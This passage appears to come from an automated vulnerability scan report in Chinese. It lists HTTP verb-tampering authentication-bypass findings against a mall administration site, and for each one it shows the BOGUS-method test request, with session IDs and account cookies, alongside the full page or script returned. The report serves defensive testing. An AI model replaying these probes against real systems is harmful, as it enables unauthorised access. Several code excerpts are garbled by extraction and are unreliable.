o=this,p=e,a=n("^"+r.open+"#",""),l=n(r.close+"\$","");e=e.replace(/\s+|\r|\t|\n/g,"
 ").replace(n(r.open+"#"),r.open+"# ").replace(n(r.close+"}"),"}
 "+r.close).replace(/\\/g, "\\\").replace(n(r.open+"!(.+?)!"+r.close), function(e){return}
e=e.replace(n("^"+r.open+"!"),"").replace(n("!"+r.close),"").replace(n(r.open+"|"+r.close),function(e) {return e.replace(/(.)/g,"\\$1")})).replace(/(?="|')/g,"\\").replace(c.query(),function(e)
{return
 \texttt{e=e.replace(a,"").replace(1,""),'";'+e.replace(/\/g,"")+';view+="'}).replace(c.query(1),function
 (e) {var c='"+(';return e.replace(/\s/g,"")===r.open+r.close?"":
 (e=e.replace(n(r.open+"|"+r.close),""),/^=/.test(e)&&
 (\texttt{e=e.replace(/^=/,""),c='"+ escape ('),c+e.replace(/\\/g,"")+')+"')}),\texttt{e='"use strict";var view = ('),c+e.replace(/\\/g,"")+')+"'})),\texttt{e='"use strict";var view = ('),c+e.replace(/\\/g,"")+')+"'')})
 "'+e+'";return view;';try{return o.cache=e=new Function("d, _escape_",e),e(t,c.escape)}catch(u)
{return delete o.cache,c.error(u,p)}},t.pt.render=function(e,r){var n,t=this;return e?(n=t.cache?
\texttt{t.cache(e,c.escape):t.parse(t.tpl,e),r?void r(n):n):c.error("no data")}; \\ \texttt{var} o=\texttt{function(e)}
 {return"string"!=typeof e?c.error("Template not found"):new t(e)};o.config=function(e){e=e||
 \{\}; for(var c in e)r[c]=e[c]\}, o.v="1.2.0", e("laytpl", o)\});
```

问题 10 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/element.js
实体:	element.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/lay/modules/element.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
```

```
Connection: keep-alive
 Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Content-Length: 7460
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
 /** layui-v2.2.2 MIT License By http://www.layui.com */
  ;layui.define("jquery",function(i){"use strict";var t=layui.$,a=
 (layui.hint(),layui.device()),e="element",l="layui-this",n="layui-show",s=function(){this.config=
 {}};s.prototype.set=function(i){var a=this;return
t.extend(!0,a.config,i),a},s.prototype.on=function(i,t){return
title", l=t(".layui-tab[lay-filter="+i+"]"), n=l.children(e), s=n.children(".layui-tab-
bar"),o=l.children(".layui-tab-content"),c=''+(a.title||"unnaming")+"
 ";return s[0]?s.before(c):n.append(c),o.append('<div class="layui-tab-item">'+
 (a.content \ | \ "") + "</div>"), y.hideTabMore (!0), y.tabAuto(), this \}, s.prototype.tabDelete=function (i,a) \\
 {var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.
 id="'+a+'"]'); return y.tabDelete(null,s),this},s.prototype.tabChange=function(i,a) {var e=".layui-
tab-title", l=t(".layui-tab[lay-filter="+i+"]"), n=l.children(e), s=n.find('>li[lay-filter="+i+"]")
 id="'+a+'"]');return y.tabClick(null,null,s),this},s.prototype.tab=function(i){i=i||
 {},v.on("click",i.headerElem,function(a){var
e="layui-progress",l=t("."+e+"[lay-filter="+i+"]"),n=l.find("."+e+"-bar"),s=n.find("."+e+"-
text");return n.css("width",a),s.text(a),this};var o=".layui-nav",c="layui-nav-item",r="layui-
nav-bar",u="layui-nav-tree",d="layui-nav-child",h="layui-nav-more",f="layui-anim layui-anim-
upbit", y={tabClick:function(i,a,s,o){o=o||{}};var
c=s||t(this),a=a||c.parent().children("li").index(c),r=o.headerElem?c.parent():c.parents(".layui-
tab").eq(0),u=o.bodyElem?t(o.bodyElem):r.children(".layui-tab-content").children(".layui-tab-
item"),d=c.find("a"),h=r.attr("lay-
filter"); "javascript:; "!==d.attr("href")&&" blank"===d.attr("target")||
 (c.addClass(1).siblings().removeClass(1),u.eq(a).addClass(n).siblings().removeClass(n)),layui.eve
nt.call(this,e,"tab("+h+")",{elem:r,index:a})},tabDelete:function(i,a){var
n=a||t(this).parent(),s=n.index(),o=n.parents(".layui-tab").eq(0),c=o.children(".layui-tab-
content").children(".layui-tab-item"),r=o.attr("lay-filter");n.hasClass(1)&&(n.next()[0]?
 y.tabClick.call(n.next()[0],null,s+1):n.prev()[0]&&y.tabClick.call(n.prev()[0],null,s-
1)), n.remove(), c.eq(s).remove(), setTimeout(function()
 {y.tabAuto()},50), layui.event.call(this,e,"tabDelete("+r+")",
 {elem:o,index:s})},tabAuto:function(){var i="layui-tab-more",e="layui-tab-bar",l="layui-tab-
 close", n=this;t(".layui-tab").each(function() {var s=t(this),o=s.children(".layui-tab-title"),c=
 (s.children(".layui-tab-content").children(".layui-tab-item"),'lay-stope="tabmore"'),r=t('<span
class="layui-unselect layui-tab-bar" '+c+"><i "+c+" class="layui-icon">&#xe61a;</i>
</span>');if(n===window&&8!=a.ie&&y.hideTabMore(!0),s.attr("lay-
class="layui-icon layui-unselect '+1+'">ဆ
 </i>');a.on("click",y.tabDelete),i.append(a)}}),o.prop("scrollWidth")>o.outerWidth()+1)
  \{ \texttt{if} \, (\texttt{o.find} \, (\texttt{"."+e}) \, [\texttt{0}] \,) \, \texttt{return}; \\ \texttt{o.append} \, (\texttt{r}) \,, \\ \texttt{s.attr} \, (\texttt{"overflow",""}) \,, \\ \texttt{r.on} \, (\texttt{"click"}, \texttt{function} \, (\texttt{t}) \,) \} 
  \{o[this.title?"removeClass": "addClass"] (i), this.title=this.title?"": "afction" \}) \} else this.title?"": "afction" | (i), this.title=this.title?"": "afction" | (i), this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.title=this.t
o.find("."+e).remove(),s.removeAttr("overflow")})},hideTabMore:function(i){var a=t(".layui-tab-
\verb|title"|; i! == !0\&\&" tabmore" == == t(i.target).attr("lay-stope") | | (a.removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("layui-tab-removeClass("l
more"), a.find(".layui-tab-bar").attr("title", ""))}, clickThis:function() {var
i=t(this), a=i.parents(o), n=a.attr("lay-filter"), s=i.find("a"), c="string"==typeof i.attr("lay-
unselect");i.find("."+d)[0]||("javascript:;"!==s.attr("href")&&"_blank"===s.attr("target")||c||
 (a.find("."+1).removeClass(l), i.addClass(l)), layui.event.call(th\overline{is}, e, "nav("+n+")", i)), clickChild("."+1), removeClass(l), removeCl
 :function() {var i=t(this),a=i.parents(o),n=a.attr("lay-
 filter"); a.find("."+1).removeClass(l), i.addClass(l), layui.event.call(this,e,"nav("+n+")",i)\}, show in the context of the 
Child:function() {var i=t(this),a=i.parents(o),e=i.parent(),l=i.siblings("."+d);a.hasClass(u)&&
 (l.removeClass(f),e["none"===l.css("display")?"addClass":"removeClass"]
 (c+"ed"))},collapse:function(){var i=
 . . .
 . . .
```

问题 11 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/modify_password.html
实体:	modify_password.html (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

cookie 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/component_pages/modify_password.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
\hbox{X-Requested-With: XMLHttpRequest}\\
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 3321
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
<div class="newpage-con">
 <div class="row block">
         <div class="col-md-2"></div>
         <form action="index.html" method="post" enctype="multipart/form-data" class="col-
md-8 form-horizontal" onsubmit="return false;">
         <fieldset>
                 <div class="form-group">
                                                                      请输入原密码: </label>
                         <label class="col-md-3 control-label" >
                         <div class="col-md-7">
                                 <input type="password" id="init_password"</pre>
name="init_password" class="form-control" placeholder="请输入原密码..">
                         </div>
                 </div>
                 <div class="form-group">
                         <label class="col-md-3 control-label" >
                                                                        请输入新密码: </label>
                         <div class="col-md-7">
                                 <input type="password" id="new_password_1"</pre>
name="new_password_1" class="form-control" placeholder="请输入新密码..">
                        </div>
            </div>
```

```
<div class="form-group">
                          <label class="col-md-3 control-label" >
                                                                           确认新密码: </label>
                          <div class="col-md-7">
                                  <input type="password" id="new password 2"</pre>
name="new password 2" class="form-control" placeholder="确认新密码..">
                          </div>
                  </div>
                  <div class="form-group form-actions">
          <div class="col-md-7 col-md-offset-3">
          <button type="submit" id="update password" class="btn btn-sm btn-primary">修改密码
</button>
          </div>
         </fieldset>
 </form>
         <div class="col-md-2"></div>
 </div>
</div>
<script>
    $(function () {
        $("#update_password").bind("click",function () {
          updatePassword();
        });
                 /保存修改的密码
        function updatePassword() {
          var originalPassword=$("#init password").val();
          var newPassword1=$("#new_password_1").val();
var newPassword2=$("#new_password_2").val();
          //输入校验
          if(originalPassword==""){
          layer.msg("请输入原密码!");
          return;
          if(newPassword1==""){
          layer.msg("请输入新密码!");
          return;
          if(newPassword2=="") {
          layer.msg("请再次输入新密码!");
          return;
          if(originalPassword == newPassword1) {
          layer.msg("新密码与原密码相同,请重新输入!");
          return;
          if(newPassword2 != newPassword1){
layer.msg("密码不一致,请重新输入!");
          return;
          $.ajax({
          type: "POST",
url: "/user/updateUserPassword",
          data: {"originalPassword":originalPassword,
          "newPassword":newPassword1
          dataType: "json",
          error: function (result) {
          layer.msg("保存出错!");
          }.
          success: function (result) {
          if(result.returnCode==1){
layer.msg("修改密码成功!");
                                                   /修改成功之后重新定位到登录页面
          top.location = "../login.html";
          }else{
          layer.msg(result.msg);
          });
   })
</script>
```

问题 12 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/dashboard.html
实体:	dashboard.html (Page)
	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

cookie 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/component_pages/dashboard.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 380
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
x-ua-compatible: IE=edge, chrome=1
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<head>
    <meta charset="utf-8">
    <title>index</title>
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
</head>
<body>
<div>
<img src="image/index.png" style="width:100%">
</div>
</body>
</html>
```

问题 13 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/style.js
实体:	style.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS **cookie** 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/js/style.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 25369
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
function table(table) {
 var Sys = (function(ua) {
         var s = {};
         s.IE = ua.match(/msie([\d.]+)/) ? true : false;
         s.Firefox = ua.match(/firefox//([\d.]+)/) ? true : false; s.Chrome = ua.match(/chrome\/([\d.]+)/) ? true : false;
         s.IE6 = (s.IE && ([ /MSIE (\d)\.0/i.exec(navigator.userAgent) ][0][1] == 6)) ?
true
         s.IE7 = (s.IE \&\& ([/MSIE (\d)\.0/i.exec(navigator.userAgent) ][0][1] == 7)) ?
true
                          : false;
         s.IE8 = (s.IE \&\& ([/MSIE (\d)\.0/i.exec(navigator.userAgent) ][0][1] == 8)) ?
```

```
: false;
        return s;
}) (navigator.userAgent.toLowerCase());
 function $(Id) {
       return document.getElementById(Id);
function addListener(element, e, fn) {
        element.addEventListener ? element.addEventListener(e, fn, false)
                       : element.attachEvent("on" + e, fn);
function removeListener(element, e, fn) {
        element.removeEventListener ? element.removeEventListener(e, fn, false)
                       : element.detachEvent("on" + e, fn);
var Css = function(e, o) {
        if (typeof o == "string") {
               e.style.cssText = o;
               return;
        for ( var i in o)
               e.style[i] = o[i];
var Bind = function(object, fun) {
        var args = Array.prototype.slice.call(arguments).slice(2);
        return function() {
               return fun.apply(object, args);
};
var BindAsEventListener = function(object, fun) {
        var args = Array.prototype.slice.call(arguments).slice(2);
        return function(event) {
              return fun.apply(object, [ event || window.event ].concat(args));
};
var Extend = function(destination, source) {
        for ( var property in source) {
               destination[property] = source[property];
var Class = function(properties) {
        var _class = function() {
               return (arguments[0] !== null && this.initialize && typeof
(this.initialize) == 'function') ? this.initialize
                               .apply(this, arguments)
                               : this;
        class.prototype = properties;
        return class;
var Table = new Class(
                       initialize : function(tab, set) {
                               this.table = tab;
                               this.thead = tab.getElementsByTagName('thead')[0]; //
å,¸ç"çdomåç′åæç′¢å¼
                               this.theadtds = this.thead.getElementsByTagName('td'); //
                               this.rows = []; // é é¢tbodysè®°å½æætrçå¼ç
                                                        ¿éç¨æ°ç»è®°å⅓æ¯å 丰æ
°c>æreverseæ¹æ³,å¯ä>¥c¨æ¥æ£å°,åå°
                                                       é¢è®°å½ææååç′çå¼ç¨
                               this.clos = {}; // é
                               this.edits = {}; // c^{1/4}
                                                          è¾è;″æ ¼çè§ååæç¤°
                               this.closarg = {
                                      tdnum : null,
                                       totdnum : null,
                                       closmove : BindAsEventListener(this,
this.closmove),
                                      closup : BindAsEventListener(this, this.closup)
                               }; // å ³ä°åææ½çä¸ä°å±æ§æ½æ³
                               this.widtharg = {
                                     td : null,
                                       nexttd : null,
                                     x:0,
```

```
tdwidth : 0,
                                         nexttdwidth : 0,
                                         widthmove : BindAsEventListener(this,
this.widthmove),
                                         widthup : BindAsEventListener(this, this.widthup)
                                 var i = 0, j = 0, d = document, rows =
tab.tBodies[0].rows, tds1 = tab.tBodies[0]
                                                 .getElementsByTagName('td'), edit = [];
                                 var divs = this.thead.getElementsByTagName('div');
                                 this.input = d.createElement('input'); // ç4
                                 this.input.type = "text";
                                 this.input.className = 'edit';
                                 this.img = d.body.appendChild(d.createElement('div'));
                                 this.img.className = "cc";
                                 this.line = d.body.appendChild(d.createElement('div'));
                                 this.line.className = 'line';
                                 this.line.style.top = tab.offsetTop + "px";
                                 if (Sys.IE6) {
                                        this.checkbox = {}; // è®°å½
                                                                          é£ä°checkbox被éä¸ä°
å¤çie6ä å¼å®¹çé®é¢
                                        var checkboxs =
tab.getElementsByTagName('input'), k = 0;
                                         for (var lll = checkboxs.length; k < lll; k++)
                                                 checkboxs[k].type == "checkbox"
                                                 && addListener(
                                                 checkboxs[k],
                                                 "click",
                                                 Bind
                                                 this
                                                 function(elm, k) {
                                                 elm.checked == true ? (this.checkbox[k] =
elm)
                                                 : (delete this.
. . .
```

问题 14 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
实体:	index.html (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS **cookie** 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
         <title>资源商城管理平台</title>
          <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
         <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
          <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
         <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
         <link href="http://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css"</pre>
rel="stylesheet">
         <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2">
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
          <div class="preloader themed-background">
                   \verb|\class="push-top-bottom"| text-light text-center"><strong>Pro</strong>UI</h1>| text-center"><strong>Pro</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI</strong>UI
                       <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
                        <div class="preloader-spinner hidden-lt-ie10"></div>
                   </div>
          </div>
          <div id="page-container" class="header-fixed-top sidebar-visible-lq sidebar-no-animations">
                   <div id="sidebar">
                       <!-- Sidebar Content -->
                       <div class="sidebar-content">
                       <!-- Brand -->
                       <div class="account-box">
                       <img class="nav-user-photo"</pre>
                       src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
                       <span id="userName"></span>
                       <input type="hidden" id="userId" value="">
                       <span class="arrow bottom"></span>
                       </div>
                       <nav class="per_options">
                       <!--个人设置-->
                       <l
                       <!-- You can also add the default color theme
                       class="active">
                        \verb| <a href="javascript:void(0)" class="themed-background-dark-default themed-border-laws for the context of 
default" data-theme="default" data-toggle="tooltip" title="Default Blue"></a>
```

```
<1i>>
<a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"</pre>
data-theme="css/themes/suneee.css" data-togqle="tooltip" title="象谱风格"></a>
<1i>>
<a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
data-theme="css/themes/night.css" data-toggle="tooltip" title="深邃蓝"></a>
<a href="javascript:void(0)" class="themed-background-dark-modern themed-border-modern"</pre>
data-theme="css/themes/modern.css" data-toggle="tooltip" title="墨绿"></a>
<1i>>
 \verb| <a href="javascript:void(0)" class="themed-background-dark-autumn" themed-border-autumn" | \\
data-theme="css/themes/autumn.css" data-toggle="tooltip" title="橙色"></a>
<a href="javascript:void(0)" class="themed-background-dark-flatie themed-border-flatie"</pre>
